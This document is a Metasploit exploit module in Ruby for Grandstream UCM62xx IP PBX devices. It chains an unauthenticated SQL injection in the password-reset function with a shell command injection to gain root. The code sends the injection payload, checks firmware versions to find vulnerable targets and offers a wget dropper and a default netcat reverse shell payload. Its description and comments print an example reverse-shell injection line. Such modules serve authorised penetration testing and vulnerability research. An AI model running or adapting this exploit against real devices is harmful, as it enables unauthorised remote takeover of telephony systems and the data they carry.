##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
a command injection vulnerability (technically, no assigned CVE but was inadvertently
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
series of devices. The vulnerabilities allow an unauthenticated remote attacker to
execute commands as root.
Exploitation happens in two stages:
1. An SQL injection during username lookup while executing the "Forgot Password" function.
2. A command injection that occurs after the user provided username is passed to a Python script
via the shell. Like so:
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
This module affect UCM62xx versions before firmware version 1.0.19.20.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module
],
'References' => [
[ 'CVE', '2020-5722' ],
[ 'EDB', '48247']
],
'DisclosureDate' => '2020-03-23',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'DisableNops' => true,
'BadChars' => '\'&|'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget' ]
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 8089,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
##
# Sends a POST /cgi request with a payload of action=getInfo. The
# server should respond with a large json blob like the following,
# where "prog_version" is he firmware version:
#
# {"response"=>{
# "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",
# "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",
# "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",
# "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",
# "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",
# "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",
# "support_webrtc_cloud"=>"0"}, "status"=>0}
###
def check
normalized_uri = normalize_uri(target_uri.path, '/cgi')
vprint_status("Requesting version information from #{normalized_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalized_uri,
'vars_post' => { 'action' => 'getInfo' }
})
return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
body_json = res.get_json_document
return CheckCode::Unknown('No JSON in response') unless body_json
prog_version = body_json.dig('response', 'prog_version')
return false if prog_version.nil?
vprint_status("The reported version is: #{prog_version}")
version = Rex::Version.new(prog_version)
if version < Rex::Version.new('1.0.19.20')
return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
end
return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
end
##
# Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
# and then it will get passed to a python script via sh which allows us to execute a command injection.
# It will look something like this:
#
# /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
# password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
#
# This functionality is related to the"Forgot Password" feature. This function is rate limited by
# the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few
# payloads are appropriate.
###
def execute_command(cmd, _opts = {})
rand_num = Rex::Text.rand_text_numeric(1..5)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi'),
'vars_post' =>
{
'action' => 'sendPasswordEmail',
'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"
}
}, 5)
# the netcat reverse shell payload holds the connection open. So we'll treat no response
# as a success. The meterpreter payload does not hold the connection open so this clause digs
# deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
# generates an error (e.g. rate limit error)
if res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
status_json = body_json['status']
fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
end
print_good('Exploit successfully executed.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end